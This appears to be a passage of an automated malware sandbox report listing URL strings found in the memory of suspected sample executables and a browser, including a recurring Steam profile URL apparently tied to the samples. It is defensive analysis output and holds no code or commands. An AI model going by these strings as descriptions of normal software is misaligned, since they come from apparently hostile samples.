Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/QI%
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/i
Source: 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001656000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319003
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2049716081.000000000115F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac4
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3212142870.000001EE307C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3066838070.000001EE306B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE306B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3146151572.000001EE2AA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE31459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001A.00000002.3280719551.000001EE320E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001A.00000002.3278899876.000001EE317AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2424375790.000000002F77D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE3061A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060200442.000001EE36870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001A.00000002.3179136668.000001EE2F2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003033062.000001EE2E41D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3002704138.000001EE2EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3214859030.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3075217383.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F6C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2049650600.0000000001193000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049716081.0000000001152000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.2049716081.0000000001152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acc
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-
